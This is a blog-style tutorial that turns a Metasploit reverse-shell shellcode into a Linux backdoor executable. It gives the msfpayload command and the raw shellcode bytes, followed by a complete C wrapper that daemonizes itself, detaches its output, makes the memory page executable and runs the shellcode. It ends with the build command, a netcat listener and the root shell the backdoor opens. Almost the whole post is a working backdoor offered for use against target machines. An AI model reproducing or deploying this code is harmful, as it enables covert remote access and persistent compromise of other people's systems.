This post is about how to create Linux binary executable shellcodes using msfpayload.


As you probably know it is fairly easy to create executable backdoors for Windows with msfpayload. Sometimes I want to have a meterpreter shell on the target machine even if I have a normal shell access. In this case I usually upload a meterpreter reverse shell .exe generated with msfpayload and simply execute it from my current shell. This is not so simple in Linux as it seems or at least I haven’t found a simple way. The only problem is that msfpayload don’t generate linux binaries. So the goal was to be able to use the metasploit payloads in binaries that can be executed under linux/unix systems. My solution was to create a wrapper C program for the shellcode which will load it to the memory and execute it in the memory. This way the shellcode can be generated with msfpayload for C and can be copy-pasted in the wrapper program. After that the code needs to be compiled than it’s ready to go.

The source of the wrapper is available at GitHub: https://github.com/gergelyrevay/backdoor_wrapper.

Let’s see an example. First let’s generate a reverse shell which will connect to the localhost (for the sake of testing) when executed. The necessary command is the following:

root@bt:~# msfpayload linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 C
/*
 * linux/x64/shell_reverse_tcp - 74 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=7777, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * PrependSetresuid=false, PrependSetreuid=false, 
 * PrependSetuid=false, PrependSetresgid=false, 
 * PrependSetregid=false, PrependSetgid=false, 
 * PrependChrootBreak=false, AppendExit=false, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x1e\x61\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
 

So we have a shell code in C syntax. Now copy-paste the shellcode in the wrapper:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>

/*
 * linux/x64/shell_reverse_tcp - 74 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=7777, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * PrependSetresuid=false, PrependSetreuid=false, 
 * PrependSetuid=false, PrependSetresgid=false, 
 * PrependSetregid=false, PrependSetgid=false, 
 * PrependChrootBreak=false, AppendExit=false, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x1e\x61\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1

static void daemonize(void)
{
    pid_t pid, sid;

    /* already a daemon */
    if ( getppid() == 1 ) return;

    /* Fork off the parent process */
    pid = fork();
    if (pid < 0) {
        exit(EXIT_FAILURE);
    }
    /* If we got a good PID, then we can exit the parent process. */
    if (pid > 0) {
        exit(EXIT_SUCCESS);
    }

    /* At this point we are executing as the child process */

    /* Change the file mode mask */
    umask(0);

    /* Create a new SID for the child process */
    sid = setsid();
    if (sid < 0) {
        exit(EXIT_FAILURE);
    }

    /* Change the current working directory.  This prevents the current
       directory from being locked; hence not being able to remove it. */
    if ((chdir("/")) < 0) {
        exit(EXIT_FAILURE);
    }

    /* Redirect standard files to /dev/null */
    freopen( "/dev/null", "r", stdin);
    freopen( "/dev/null", "w", stdout);
    freopen( "/dev/null", "w", stderr);
}

void main(int argc, char**argv)
{
	daemonize();
	
	void *addr = (void*)((unsigned long)buf & ((0UL - 1UL) ^ 0xfff));/*get memory page*/
	int ans = mprotect(addr, 1, PROT_READ|PROT_WRITE|PROT_EXEC);/*set page attributes*/
	if (ans)
	{
		exit(EXIT_FAILURE);
	}
	((void(*)(void))buf)();/*execute array*/
}

This code first daemonizes itself, than calculates the memory page where the shellcode was loaded. With the page address (*addr) the page attributes can be edited mostly to make it executable. If that was successful the shellcode can be execute directly in the memory.

To build the binary the following command should be run:

root@bt:~# gcc -o backdoor_example backdoor_example.c

To test it we need to start a listener:

root@bt:~# nc -lvvp 7777
listening on [any] 7777 ...

and start the backdoor:

root@bt:~# ./backdoor_example

The executable will return immediately since it just spawns a process for the shellcode and then it returns. However with our listener we will receive the reverse shell:

root@bt:~# nc -lvvp 7777
listening on [any] 7777 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47355
ls
bin
boot
cdrom
chroots
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
nis
opt
pentest
proc
root
sbin
selinux
share
srv
sys
tmp
usr
var
vmlinuz
id
uid=0(root) gid=0(root) groups=0(root)